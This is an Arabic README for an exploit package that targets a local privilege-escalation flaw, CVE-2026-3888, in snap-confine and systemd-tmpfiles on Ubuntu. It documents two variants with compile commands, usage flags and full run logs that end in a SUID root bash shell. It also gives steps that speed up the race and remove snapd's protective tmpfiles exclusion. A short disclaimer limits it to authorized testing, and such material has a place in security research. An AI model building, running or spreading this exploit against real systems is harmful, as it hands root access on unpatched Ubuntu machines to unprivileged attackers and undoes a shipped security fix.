
استغلال تصعيد الامتيازات المحلية لثغرة CVE-2026-3888 التي تستهدف snap-confine وsystemd-tmpfiles على أوبونتو، مع توفير نسختين SUID وcapabilities لتحقيق وصول الجذر.
تصعيد الامتيازات المحلي من مستخدم غير مميز إلى صلاحيات الجذر الكاملة على Ubuntu Desktop 24.04+ من خلال استغلال حالة سباق TOCTOU بين snap-confine وsystemd-tmpfiles. يتم توفير نسختين: SUID وCapabilities.
CVSS: 7.8 (عالية) | التقرير الأمني: Qualys | التصحيح: snapd 2.74.2، 17 مارس 2026
systemd-tmpfiles بحذف دليل المحاكاة القديم .snap تحت /tmp (انتهاء الصلاحية بعد 30 يومًا)snap-confine خطوة بخطوة عبر ضغط المقبس AF_UNIX للفوز بالسباق بشكل موثوق أثناء تسلسل ربط التحميل المحاكيld-linux-x86-64.so.2 بـ shellcode يستدعي setreuid(0,0) + execvesnap-confine يُطلق shellcode بصلاحيات الجذر/var/snap/firefox/common/ للهروب من بيئة العزل| الملف | الوصف |
|---|---|
exploit_suid.c | استغلال موحد بملف ثنائي واحد — جميع المراحل السبع في منسق واحد قائم على fork |
librootshell_suid.c | الحمولة — ELF صغير يستبدل ld-linux-x86-64.so.2 عبر استدعاءات نظام x86_64 خام |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
يجب تجميع كليهما على (أو تجميع متقاطع لـ) x86_64 Linux. exploit مرتبط ثابتًا بحيث يعمل داخل بيئة عزل snap دون تبعيات مكتبات. يستخدم librootshell.so خيار -nostdlib لأنه يحتوي فقط على استدعاءات نظام خام — بدون libc.
./exploit <librootshell.so> [-d] [-s]
| العلم | الوصف |
|---|---|
-d | إظهار مخرجات تصحيح snap-confine (وضع تفصيلي) |
-s | تخطي انتظار تنظيف .snap (يتطلب كلمة مرور الجذر) |
# تشغيل عادي
./exploit ./librootshell.so
# وضع التصحيح
./exploit ./librootshell.so -d
# إعادة المحاولة بعد الفشل
./exploit ./librootshell.so -s
يدخل الاستغلال إلى بيئة العزل، وينتظر قيام systemd-tmpfiles بحذف .snap (حتى 10 أيام على Ubuntu 25.10 القياسي وحتى 30 يومًا على Ubuntu 24.04 القياسي)، ثم يشغّل السباق تلقائيًا. عند النجاح، ينتقل إلى قشرة جذر.
snap-confine بصلاحيات SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timerbusybox على الهدف (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] الحمولة: /home/user/./librootshell.so (9056 بايت)
[المرحلة 1] الدخول إلى بيئة عزل Firefox...
[+] معرف قشرة داخلية: 3122
[المرحلة 2] انتظار حذف .snap...
[*] الاستطلاع (حتى 30 يومًا على Ubuntu القياسي).
[*] تلميح: استخدم -s للتخطي.
[+] تم حذف .snap.
[المرحلة 3] تدمير مساحة اسم التحميل المخزنة...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] تم تدمير مساحة الاسم.
[المرحلة 4] إعداد وتشغيل السباق...
[*] دليل العمل: /proc/3122/cwd
[*] بناء .snap و.exchange...
[*] تم نسخ 285 مدخل إلى دليل التبادل
[*] بدء السباق...
[*] مراقبة snap-confine (معرف العملية الفرعية 3543)...
[!] TRIGGER — تبديل الدلائل...
[+] تم التبديل — تم الفوز بالسباق!
[*] ld-linux في مساحة الاسم: user:user 755
[+] مساحة الاسم المسمومة PID: 3543
[المرحلة 5] حقن الحمولة في مساحة الاسم المسمومة...
[+] ld-linux مملوك لـ uid 1000 (المهاجم). تم تأكيد السباق.
[*] زرع busybox...
[*] كتابة سكربت الهروب → /tmp/sh
[*] استبدال ld-linux-x86-64.so.2...
[+] تم حقن الحمولة.
[المرحلة 6] تشغيل الجذر عبر SUID snap-confine...
[*] snap-confine → snap-confine (مشغل SUID)
[*] حالة الخروج: 0
[المرحلة 7] التحقق...
[+] bash جذر SUID: /var/snap/firefox/common/bash (الوضع 4755)
[*] تنظيف العمليات الخلفية...
================================================================
قشرة الجذر: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles بحذف دليل المحاكاة القديم .snap تحت /tmpsnap-confine خطوة بخطوة عبر ضغط المقبس AF_UNIX للفوز بالسباق بشكل موثوق أثناء تسلسل ربط تحميل /var/lib المحاكي/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab بربط تحميل /etc مسموم (مع ld.so.preload) داخل بيئة العزلsu من /tmp/.snap يقوم بتحميل librootshell.so مسبقًا والذي يستدعي setreuid(0,0) + | الملف | الوصف |
|---|---|
exploit_caps.c | استغلال موحد بملف ثنائي واحد — جميع المراحل السبع في منسق واحد قائم على fork |
librootshell_caps.c | الحمولة — مكتبة مشتركة مع مُنشئ يستدعي setreuid(0,0) + execve |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
يجب تجميع كليهما على (أو تجميع متقاطع لـ) x86_64 Linux. exploit مرتبط ثابتًا بحيث يعمل داخل بيئة عزل snap دون تبعيات مكتبات. يستخدم librootshell.so خيار -nostartfiles و__attribute__((constructor)) — يتم تحميله عبر ld.so.preload قبل دالة main() للثنائي الهدف.
./exploit <librootshell.so> [-d] [-s]
| العلم | الوصف |
|---|---|
-d | إظهار مخرجات تصحيح snap-confine (وضع تفصيلي) |
-s | تخطي انتظار تنظيف .snap (استخدمه عندما يكون .snap قد اختفى بالفعل) |
# تشغيل عادي
./exploit ./librootshell.so
# وضع التصحيح
./exploit ./librootshell.so -d
# تخطي الانتظار (إعادة المحاولة)
./exploit ./librootshell.so -s
يدخل الاستغلال إلى بيئة العزل، وينتظر قيام systemd-tmpfiles بحذف .snap (حتى 10 أيام على Ubuntu 25.10 القياسي وحتى 30 يومًا على Ubuntu 24.04 القياسي)، ثم يشغّل السباق تلقائيًا. عند النجاح، ينتقل إلى قشرة جذر.
snap-confine capabilities (cap_sys_admin، cap_chown، cap_dac_override، إلخ.)snap-store (افتراضي على Ubuntu Desktop)core22systemd-tmpfiles-clean.timerbusybox على الهدف (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] الحمولة: /home/user/./librootshell.so (14320 بايت)
[المرحلة 1] الدخول إلى بيئة عزل snap-store...
[+] معرف قشرة داخلية: 3501
[المرحلة 2] انتظار حذف .snap...
[*] الاستطلاع (حتى 10 أيام على Ubuntu 25.10).
[*] تلميح: استخدم -s للتخطي.
[+] تم حذف .snap.
[المرحلة 3] تدمير مساحة اسم التحميل المخزنة...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] تم تدمير مساحة الاسم (.mnt اختفى).
[المرحلة 4] إعداد وتشغيل السباق...
[*] دليل العمل: /proc/3501/cwd
[*] بناء .snap و.exchange...
[*] تم نسخ 17 مدخل إلى دليل التبادل
[*] بدء السباق...
[*] مراقبة snap-confine (معرف العملية الفرعية 3678)...
[!] TRIGGER — تبديل الدلائل...
[+] تم التبديل — تم الفوز بالسباق!
[+] تم الفوز بالسباق. /var/lib/snapd أصبح مملوكًا للمستخدم.
[المرحلة 5] إعداد الحمولة وuser-fstab...
[*] نسخ /etc إلى .snap/etc...
[*] كتابة ld.so.preload...
[*] كتابة user-fstab...
[*] نسخ librootshell.so إلى /tmp/...
[*] نسخ busybox...
[*] كتابة سكربت الهروب...
[*] إعادة تبديل var/lib (استعادة بيانات snapd الأصلية)...
[+] الحمولة جاهزة.
[المرحلة 6] تشغيل الجذر عبر ثنائي SUID في /tmp/.snap...
[*] التنفيذ: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] حالة الخروج: 0
[المرحلة 7] التحقق...
[+] bash جذر SUID: /var/snap/snap-store/common/bash (الوضع 4755)
[*] تنظيف العمليات الخلفية...
================================================================
قشرة الجذر: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
على تثبيت Ubuntu قياسي، يستغرق تنظيف .snap 30 يومًا (24.04) أو 10 أيام (25.10). لتسريع ذلك للاختبار، قلل عمر /tmp وفاصل المؤقت:
قم بتحرير /usr/lib/tmpfiles.d/tmp.conf (كجذر):
# غيّر العمر من 30d إلى 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
تحقق:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# يجب أن يُظهر: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
تحقق:
systemctl list-timers systemd-tmpfiles-clean
# يجب أن يُظهر عمود NEXT حوالي دقيقة واحدة من الآن
يضيف snapd 2.73+ قاعدة استثناء تمنع tmpfiles من تنظيف .snap. إذا كان نظامك يحتوي على ذلك، تحقق منه وأزله:
cat /usr/lib/tmpfiles.d/snapd.conf
# إذا رأيت: x /tmp/snap-private-tmp/*/tmp/.snap
# أزل هذا السطر، أو قم بتخفيض الإصدار إلى snapd 2.71.1
مع هذه الإعدادات، سيتم تنظيف .snap خلال ~5 دقائق من انتهاء صلاحيته، مما يسمح بالتكرار السريع أثناء الاختبار.
يتم توفير هذا الكود strictly للأغراض التعليمية، والبحث الأمني المصرح به، ومهام اختبار الاختراق حيث تم الحصول على إذن كتابي صريح. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج. باستخدامك لهذا الكود، فإنك توافق على أنك وحدك المسؤول عن أفعالك وأي عواقب تنشأ عن استخدامه. لا تستخدم هذا الكود ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin، إلخ.) |
| الهدف snap | firefox | snap-store |
| محاكاة الهدف | /usr/lib/x86_64-linux-gnu (~285 مدخل) | /var/lib (~17 مدخل) |
| ناقل الاستغلال | استبدال ld-linux-x86-64.so.2 بـ shellcode | التحكم في user-fstab + ld.so.preload |
| تنسيق الحمولة | ELF ثابت مع استدعاءات نظام خام | مكتبة مشتركة مع __attribute__((constructor)) |
| مشغل الجذر | SUID snap-confine يحمّل الرابط الديناميكي المسموم | SUID su في /tmp/.snap يقوم بتحميل .so مسبقًا |
| متطلب cgroup | أي اسم snap.* | تطابق تام: snap.snap-store.hook.configure |
تنظيف .snap | 30 يومًا | 10 أيام |
| الهروب من العزل | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ للهروب من بيئة العزل